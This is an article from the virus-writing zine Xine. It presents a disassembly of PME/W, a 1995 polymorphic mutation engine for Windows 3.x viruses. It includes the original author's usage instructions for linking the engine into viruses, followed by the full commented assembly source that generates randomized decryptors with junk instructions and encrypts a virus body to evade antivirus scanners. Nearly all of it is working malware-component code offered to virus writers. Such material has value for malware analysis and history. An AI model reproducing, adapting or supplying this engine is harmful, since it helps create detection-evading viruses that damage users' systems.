
                                        /-----------------------------\
                                        | Xine - issue #4 - Phile 310 |
                                        \-----------------------------/


; ===========================================================================
; PME/W v0.00                     Phantasie Mutation Engine for Windows v0.00
; ===========================================================================
;
; Name            : PME/W
; Version         : 0.00
; Original Author : Burglar
; Original Size   : 1412 bytes
; Platform        : Win3x
; Kind            : Polymorphic Engine
; Origin          : Taipei (Taiwan)
; Dissassembly by : Billy BelcebŁ/iKX
;
; Some comments   :
;
; Here follows my  second dissassembly (after KRTT, see my VWGs), and  i hope
; it won't be the last. I don't know if anyone had dissassemblied this engine
; before, but here i am, i did it (all) the 18 of May, in a boring  afternoon
; after doing a 'physic' exam. Well, ehem, nobody wants to know my life :)
;
; The engine itself is very simple, besides the  fact it's for Win3x viruses,
; i hadn't found anything special on it, and i really think that AV won't ha-
; ve to  work much  to detect it (as it has many fixed bytes). Well, you will
; see all the details in  the engine itself. Now, here you  have its original
; documentation.
; 
; ---[ PME/W DOCUMENTATION ]-------------------------------------------------
;
;       Phantasie Mutation Engine for Windows <tm>           Version 0.00
;       Written by Burglar in Taipei, Taiwan.                  (95/07/16)
;
;
;       1.  License
;
;       You are free to include this Engine in your Windows virii, and
;       your Windows virii don't injure anything.  Injure anything is
;       prohibited.
;
;
;       2.  How to use it
;
;       when you want use it, you must declare below at first in code
;       segment.
;
;       EXTRN   PMEW:NEAR, PMEW_END:NEAR
;
;       Then you write your Windows virii as usual.  When you need to
;       encrypt the code, you just call the Engine.  Put the following
;       instruction in your code:
;
;       CALL    PMEW
;
;       You also need to supply the parameters for the Engine.  They are
;       passed in registers.  Results are also passed in registers.
;
;       Of course, you must link the PMEW.OBJ module to your Windows virii
;       !
;
;       PMEW_END labeled the tail of your virii that includes the engine,
;       and you can use OFFSET PMEW_END to get the length of your Windows
;       virii that includes the engine.
;
;
;       3.  Input parameters
;
;       All parameters are mandatory.  Description follows:
;
;       ES:DI => Work space
;
;       The Engine needs work space.  For placing product (decrypt code
;       & encrypted code) which is generated by PME/W.
;
;       DS:SI => Code to encrypt
;
;       On entry, just set DS:SI to point to the code you want to be
;       encrypted.
;
;       CX = Length of code to encrypt
;
;       On entry, just set CX to the length of the code you want to be
;       encrypted.
;
;       DX:AX => Relocation fixup information
;
;       When your virii has relocation records (such as you may call the
;       Windows APIs to do something, or your virii will pass control to
;       host program via intersegment jump, etc.) , you have to pass
;       pertinent information to PME/W.
;
;       Format of relocation fixup information:
;       Offset  Size    Description
;        00h    WORD    number of relocation items
;        02h 2N BYTEs   relocation items
;                       Offset  Size    Description
;                        00h    WORD    offset within segment
;
;       ATTENTION!
;       Your Windows virii must be zero start! (i.e. begin running with
;       CS:0000)
;
;
;       4.  Results
;
;       The Engine returns the following values in registers:
;       (all other except for the listed below will be PRESERVED)
;
;       CX = Length of the decryption routine
;
;       CX now has the length of decryption routine.
;       ATTENTION! (mere length of decryption routine)
;
;       The product (decryption routine & encrypted code) which generated
;       by PME/W is placed in Work space (i.e. pointed by ES:DI)
;
;
;       5.  Final Notes
;
;       SPECIAL THANKS:
;
;       qark (for your Windows infection theory & WinSurfer)
;       quantum (for WinSurfer & grin me !@#$%^&*)
;       metabolis (for leading vlad magazine & tons of stuff)
;       malware (for NE format detail)
;       lookout (for tons of stuff)
;       kdkd (for tons of stuff & blah.gif - fxxx with horse !@#$%^&*)
;       horde (for tons of stuff - cvdq.arj)
;       dread (for giving me a account in Russia)
;       theora (you are the only one female interested in virii, could you
;               be my girl friend ?!)
;       slash (hehe... my teacher & confident)
;
;
;       Well, that's for now.  No time for more.  No demonstration program
;       .
;
;       Pass the Engine (all files together in an archive) to Windows virii
;       programmers.
;
;
;       Greetings to all virii programmers
;
;       Burglar
;
;       Taipei, Taiwan.
;
; ---[ PME/W DOCUMENTATION ]-------------------------------------------------
;
; Well, i sincerely  hope that you find this simple (but very well coded) en-
; gine interesting. If anyone wanna know, i did this dissassembly with IDA :)
; Get it from internet (it's big, but a  very good program). Thanks to Slage,
; for  the 'thingy' that  he gave me  in Italy, and to Darkman, because he is
; the IDA god :)
;
; Btw, maybe you have  seen that it ain't too much commented... i don't  like
; to comment code that ain't mine... maybe i will  improve this, but not now,
; not today. 
;
; Bored and apathetic,
; Billy BelcebŁ/iKX
;

p486

_PMEW           segment byte private '' use16

                assume  cs:_PMEW
                assume  es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
                public  PMEW,PMEW_END
PMEW:
                jmp     short engine_start
                nop                     ; hehehe

PMEW_Mark       db      " PME for Windows v0.00 (C) Jul 1995 By Burglar "

engine_start    proc    near
                push    ax              ; Push AX in stack
                push    bx              ; Push BX in stack
                push    dx              ; Push DX in stack
                push    bp              ; Push BP in stack
                push    si              ; Push SI in stack
                push    di              ; Push DI in stack
                push    ds              ; Push DS in stack
                push    es              ; Push ES in stack
                mov     bp, ds          ; BP -> DS
                push    ax              ; Push AX in stack
                push    cs              
                pop     bx              ; BX -> CS
                mov     ax, 0Ah
                int     31h             ; DPMI Services   ax=func xxxxh
                                        ; CREATE CODE SEGMENT ALIAS DESCRIPTOR
                                        ; BX = code segment selector
                                        ; Return: CF set on error
                                        ; CF clear if successful,
                                        ; AX = new data selector

                mov     ds, ax          ; DS = new data selector = AX
                pop     ax              ; Restore AX from stack
                call    _delta          ; Get Delta Offset
_delta:
                pop     bx
                sub     bx, offset _delta

init_values:
                mov     ds:shit[bx], 0FDAAh ; Put SHIT value to 0FDAAh
                mov     ds:status_byte[bx], 0 ; Make status byte to be 0
                nop                     ; hehe
                mov     ds:code_offset[bx], si ; Save offset of code to enc.
                mov     ds:code_segment[bx], bp ; Save its segment
                mov     ds:work_space[bx], di ; Save offs. where dec. will go
                mov     ds:work_segment[bx], es ; Save its segment
                mov     ds:enc_length[bx], cx ; Save the size to encrypt
                mov     ds:reloc_offset[bx], ax ; Save offset of RELOC struc
                mov     ds:reloc_segment[bx], dx ; Save its segment
                cld                     ; Clear direction flag
                call    pre_garbage     ; Generate simple garbage
                mov     al, 60h         ; Generate PUSHAD
                stosb                   ; Store it to ES:[DI]
                mov     ds:shit[bx], 0  ; Put shit variable to 0
                call    pre_garbage     ; Generate simple garbage
                mov     al, 1Eh         ; Generate PUSH DS
                stosb                   ; Store it to ES:[DI]
                call    pre_garbage     ; Generate simple garbage
                mov     al, 0Eh         ; Generate PUSH CS
                stosb                   ; Store it to ES:[DI]
                call    pre_garbage     ; Generate simple garbage
                mov     al, 5Bh         ; Generate POP BX
                stosb                   ; Store it to ES:[DI]
                or      ds:shit[bx], 88h
                call    pre_garbage     ; Generate simple garbage
                mov     al, 0B8h        ; Generate MOV AX,imm16
                stosb                   ; Store it to ES:[DI]
                mov     ax, 0Ah         ; Immediate
                stosw                   ; Store it to ES:[DI]
                or      ds:shit[bx], 11h
                call    pre_garbage     ; Generate simple garbage
                mov     ax, 31CDh       ; Generate INT 31h
                stosw                   ; Store it to ES:[DI]
                and     ds:shit[bx], 0FF77h
                call    pre_garbage     ; Generate simple garbage
                mov     ax, 0D88Eh      ; Generate MOV DS,AX
                stosw                   ; Store it to ES:[DI]
                and     ds:shit[bx], 11h
                call    pre_garbage     ; Generate simple garbage
                mov     al, 0BBh        ; Generate MOV BX,imm16
                stosb                   ; Store it to ES:[DI]
                push    di
                scasw                   ; Store it to ES:[DI]
                or      ds:shit[bx], 88h
                call    pre_garbage     ; Generate simple garbage
                mov     ds:jmp_temp[bx], di
                call    pre_garbage
                mov     ax, 3780h       ; Generate XOR [DI],imm16
                stosw                   ; Store it to ES:[DI]
                push    di              ; Save DI on stack
                scasb
                call    pre_garbage
                mov     ax, 0D3F7h      ; Generate NOT BX
                stosw                   ; Store it to ES:[DI]
                call    pre_garbage
                mov     ax, 0DBF7h      ; Generate NEG BX
                stosw                   ; Store it to ES:[DI]
                call    pre_garbage
                push    ds              ; Process RELOCS :)
                mov     si, ds:reloc_offset[bx]
                mov     ds, ds:reloc_segment[bx]
                mov     cx, [si]        ; [SI] -> CX
                pop     ds              ; Restore DS from stack
                jcxz    lets_rock       ; If CX = 0 goto lets_rock
l00py:                                  ; ...
                mov     ax, 0FB81h      ; Generate CMP BX, imm16
                stosw                   ; Store it to ES:[DI]
                push    di              ; Save DI
                scasw
                mov     ds:status_byte[bx], 1
                nop     
                call    pre_garbage
                mov     al, 75h         ; Generate JNZ
                stosb                   ; Store it to ES:[DI]
                push    di              ; Save DI on stack
                scasb
                mov     ds:status_byte[bx], 0
                nop     
                call    pre_garbage
                mov     ax, 0C383h      ; Generate ADD BX,imm16
                stosw                   ; Store it to ES:[DI]
                mov     al, 4           ; AL -> 4
                stosb                   ; Store it to ES:[DI]
                call    pre_garbage
                pop     si              ; Restore SI from stack
                mov     dx, si          ; DX = SI
                inc     dx              ; Increase DX
                mov     ax, di          ; AX = DI
                sub     ax, dx          ; AX = AX-DX
                mov     es:[si], al     ; Store AL to ES:[SI]
                loop    l00py
lets_rock:                              ; ...
                mov     ax, 0FB81h      ; Generate CMP BX,imm16
                stosw                   ; Store it to ES:[DI]
                push    di              ; Save DI on stack
                scasw
                mov     ds:status_byte[bx], 1
                nop     
                call    pre_garbage
                mov     al, 74h         ; Generate JZ
                stosb                   ; Store it to ES:[DI]
                push    di              ; Save DI on stack
                scasb
                call    pre_garbage
                mov     al, 0E9h        ; Generate JMP
                stosb                   ; Store it to ES:[DI]
                mov     ax, ds:jmp_temp[bx]
                mov     dx, di          ; All this stuff is
                add     dx, 2           ; because the goddamn JMP
                sub     ax, dx          ; AX = AX-DX
                stosw                   ; Store it to ES:[DI]
                call    pre_garbage
                pop     si              ; Restore SI from stack
                mov     dx, si          ; DX = SI
                inc     dx              ; Increase DX
                mov     ax, di          ; AX = DI
                sub     ax, dx          ; AX = AX-DX
                mov     es:[si], al     ; Store AL in ES:[DI]
                mov     al, 1Fh         ; Generate POP DS
                stosb                   ; Store it to ES:[DI]
                call    pre_garbage
                mov     al, 61h         ; Generate POPAD
                stosb                   ; Store it to ES:[DI]
                mov     ax, di          ; AX = DI
                sub     ax, ds:work_space[bx] ; AX = AX-Work Space (initial DI)
                mov     ds:temp[bx], ax ; Temp = already generated code size
                mov     ax, ds:temp[bx] ; Why this if you already have it? :)
                add     ax, ds:enc_length[bx] ; Add the size to encrypt
                pop     si              ; Restore SI from stack
                mov     es:[si], ax     ; Store AX into ES:[SI]
                mov     dx, ds          ; Put temporally DS in DX
                mov     si, ds:reloc_offset[bx] 
                mov     ds, ds:reloc_segment[bx]
                lodsw                   ; Get DS:[SI] into AX
                mov     cx, ax
                jcxz    copy_virus      ; if CX = 0 goto copy_virus
                dec     ax              ; Decrease AX
                shl     ax, 1           ; Multiply AX per 2
                add     si, ax          ; Add it to SI
                std                     ; Set Direction Flag
make_temp:                              ; ...
                lodsw                   ; Get DS:[SI] into AX
                mov     bp, ds          ; DS -> BP
                mov     ds, dx          ; DX -> DS
                add     ax, ds:temp[bx]
                mov     ds, bp          ; BP -> DS
                pop     bp              ; Restore BP
                mov     es:[bp], ax     ; AX -> ES:[BP]
                loop    make_temp
                cld     
copy_virus:                             ; ...
                mov     ds, dx          ; DS = DX
                call    random          ; Get a random number
                pop     bp              ; Restore BP from stack
                mov     es:[bp], al     ; ES:[BP] <- AL
                pop     bp              ; Restore BP again
                push    ds:temp[bx]     ; Push memory address
                pop     word ptr es:[bp] ; And pop there
                mov     cx, ds:enc_length[bx] ; Size to copy
                mov     si, ds:code_offset[bx] ; From where copy (offset)
                mov     ds, ds:code_segment[bx] ; From what segment
                push    di              ; Save DI
                repe    movsb           ; Copy DS:[SI] to ES:[DI]
                pop     di              ; Restore DI
                mov     ds, dx          ; DS = DX
                mov     bp, ds:temp[bx] ; Setup encryption routine
                mov     cx, ds:enc_length[bx] 
                mov     si, ds:reloc_offset[bx]
                mov     ds, ds:reloc_segment[bx]
crypt_virus:                            ; ...
                push    ax              ; All this and the below thingies
                push    cx              ; are the fucken encryption loop...
                push    si              ; Save SI on stack
                xor     es:[di], al     ; Encryption operation
                inc     di              ; Increment index
                lodsw                   ; Get DS:[SI] into AX
                mov     cx, ax          ; AX = CX
                jcxz    close_engine    ; If CX = 0 goto close_engine
pseudo_loop:                            ; ...
                lodsw                   ; Get DS:[SI] into AX
                add     ax, bp          ; Normalize
                push    ds              ; Save DS
                mov     ds, dx          ; DS = DX
                add     ax, ds:work_space[bx] ; AX = AX+work space
                pop     ds              ; Restore DS
                cmp     di, ax          ; Compare DI with AX
                jnz     fix_it          ; Aren't they equal?
                add     di, 4           ; If they are equal, DI=DI+4
fix_it:                                 ; ...
                loop    pseudo_loop
close_engine:                           ; ...
                pop     si              ; Restore SI
                pop     cx              ; Restore CX
                pop     ax              ; Restore AX
                loop    crypt_virus     ; Cryption loop
                mov     ds, dx          ; DS = DX
                mov     cx, ds:temp[bx] ; CX = Decryptor size
                pop     es              ; Restore ES
                pop     ds              ; Restore DS
                pop     di              ; Restore DI
                pop     si              ; Restore SI
                pop     bp              ; Restore BP
                pop     dx              ; Restore DX
                pop     bx              ; Restore BX
                pop     ax              ; Restore AX
                retn                    ; Return to caller
engine_start    endp

pre_garbage     proc near               ; ...
                push    si              ; Save SI on stack
                call    random          ; Get a random number
                aam     20h
                cbw     
                mov     bp, ax
                add     bp, di
loop_pre_gbg:                           ; ...
                call    random          ; Get a random number
                and     al, 1           ; make it to be [0..1]
                shl     al, 1           ; multiply per 2
                mov     si, ax          ; put it in SI
                and     si, 0FFh        ; clear msb of SI
                mov     si, ds:pseudo_table[bx+si] ; Get an offset
                lea     si, [bx+si]
                call    si              ; call it
                cmp     di, bp
                jb      loop_pre_gbg    ; shitz...
                pop     si
                retn    
pre_garbage     endp

get_pseudo_rib:                         ; ...
                push    ax
                push    cx
                push    dx
                push    si
                call    random          ; Get a random number
                aam     9               ; Adjust After Multiplication to 9 =)
                test    ds:status_byte[bx], 1
                nop     
                jz      fix_it1         ; Needs fix?
                and     al, 0           ; Yeah, it needs :)
fix_it1:                                ; ...
                cbw     
                mov     si, ax
                mov     ah, ds:rib_table[bx+si]
                call    random
                test    al, 1
                jnz     tons_of_shit
                call    get_poly_table
                push    ax
                shr     al, 3           ; Shift 3 bytes left [xx???xxx]
                and     al, 1           ; Must be between 0 and 1
                or      ah, al
                call    random          ; Get a random number
                and     al, 2           ; AL must be between 0 and 2
                or      ah, al
                xchg    al, ah
                stosb                   ; Store it to ES:[DI]
                or      ah, ah
                pop     ax
                mov     ah, al
                call    random
                jnz     okay_not_zero
                and     ah, 7           ; Add AH xxxxx111
                and     al, 38h         ; Must be xx???xxx
                jmp     short finish_him
                nop     
okay_not_zero:                          ; ...
                shl     ah, 3           ; Shift left 3 bytes
                and     ah, 38h         ; Must be xx???xxx
                and     al, 7           ; Add xxxxx111
finish_him:                             ; ...
                or      al, 0C0h        ; Add the first 2 bits 11xxxxxx
                or      al, ah
                stosb                   ; Store it to ES:[DI]
                jmp     short exit_func
                nop     
tons_of_shit:                           ; ...
                or      ah, 2           
                call    get_poly_table
                push    ax
                shr     al, 3           ; Some math operations
                and     al, 1
                or      ah, al
                mov     al, ah
                stosb                   ; Store it to ES:[DI]
                pop     ax              ; Restore AX
                shl     al, 3
                and     al, 38h
                or      al, 6           
                stosb                   ; Store it to ES:[DI]
                call    random          ; Get a random number
                mov     ah, al          ; AH = AL
                call    random          ; Get a random number
                xor     dx, dx          ; DX = 0
                mov     cx, 1FFh 
                div     cx              ; Divide AX per 1FFh
                stosw                   ; Store it to ES:[DI]
exit_func:                              ; ...
                pop     si              ; Restore SI
                pop     dx              ; Restore DX
                pop     cx              ; Restore CX
                pop     ax              ; Restore AX
                retn                    ; Return to caller
gen_onebyter:                           ; ...
                push    si              ; Save SI on stack
                call    random          ; Get a random number
                aam     5               ; Interesting instruction this AAM ;)
                cbw     
                mov     si, ax          ; SI = AX
                mov     al, ds:one_byters[bx+si]
                stosb                   ; Store it to ES:[DI]
                pop     si
                retn    
get_poly_table:                         ; ...
                push    si              ; Save SI
                call    random          ; Get a random number
                and     al, 0Fh         ; Between [00..15]
                shl     al, 1           ; Multiply per 2
                mov     si, ax          ; Put in SI
                and     si, 0FFh        ; only lsb of SI is interesting
                mov     si, ds:test_table[bx+si] ; Get an offset
                lea     si, [bx+si]
                call    si              ; Call the function pointed by it
                pop     si              ; Restore SI
                jnz     get_poly_table  ; Not zero? shit
                shr     al, 1           ; Divide per 2
                retn    

; All this shitty TESTs =)

test_1:                                 ; ...
                test    ds:shit[bx], 1
                retn    
test_2:                                 ; ...
                test    ds:shit[bx], 2
                retn    
test_4:                                 ; ...
                test    ds:shit[bx], 4
                retn    
test_8:                                 ; ...
                test    ds:shit[bx], 8
                retn    
test_10:                                ; ...
                test    ds:shit[bx], 10h
                retn    
test_20:                                ; ...
                test    ds:shit[bx], 20h
                retn    
test_40:                                ; ...
                test    ds:shit[bx], 40h
                retn    
test_80:                                ; ...
                test    ds:shit[bx], 80h
                retn    
test_11:                                ; ...
                test    ds:shit[bx], 11h
                retn    
test_22:                                ; ...
                test    ds:shit[bx], 22h
                retn    
test_44:                                ; ...
                test    ds:shit[bx], 44h
                retn    
test_88:                                ; ...
                test    ds:shit[bx], 88h
                retn    
or_al_al:                               ; ...
                or      al, al
                retn    
test_200:                               ; ...
                test    ds:shit[bx], 200h
                retn    
test_400:                               ; ...
                test    ds:shit[bx], 400h
                retn    
test_800:                               ; ...
                test    ds:shit[bx], 800h
                retn    

; The PME/W's RNG (Random Number Generator)

random          proc near               ; ...
                pushf                   ; This procedure is for obtain a rand.
                push    cx              ; number in AL :)
                push    ax
                in      al, 40h         ; Timer 8253-5 (AT: 8254.2).
                mov     cl, al
                in      al, 40h         ; Timer 8253-5 (AT: 8254.2).
                mov     ah, al
                in      al, 40h         ; Timer 8253-5 (AT: 8254.2).
                xor     al, ah
                rcr     al, cl
                mov     cl, al
                pop     ax
                mov     al, cl
                pop     cx
                popf    
                retn    
random          endp

; Some data

shit            dw      ?
status_byte     db      ?
code_offset     dw      ?
code_segment    dw      ?
work_space      dw      ?
work_segment    dw      ?
reloc_offset    dw      ?
reloc_segment   dw      ?
enc_length      dw      ?
temp            dw      ?
jmp_temp        dw      ?

rib_table       db      88h             ; Table with information needed
                db      00h             ; for RegInfoByte thingy
                db      10h
                db      28h
                db      18h
                db      38h
                db      20h
                db      08h
                db      30h

; Table of do-nothing one-byters, used as garbage

one_byters      db      0FCh            ; CLD
                db      0FDh            ; STD
                db      0F3h            ; REP
                db      0F2h            ; REPNZ
                db      90h             ; NOP

; Some tables of all TESTs

test_table      dw offset test_1
                dw offset test_2
                dw offset test_4
                dw offset test_8
                dw offset test_10
                dw offset test_20
                dw offset test_40
                dw offset test_80
                dw offset test_11
                dw offset test_22
                dw offset test_44
                dw offset test_88
                dw offset or_al_al
                dw offset test_200
                dw offset test_400
                dw offset test_800

; Tables for generate interesting stuff

pseudo_table    dw offset get_pseudo_rib
                dw offset gen_onebyter
PMEW_END        label   byte
_PMEW           ends
                end



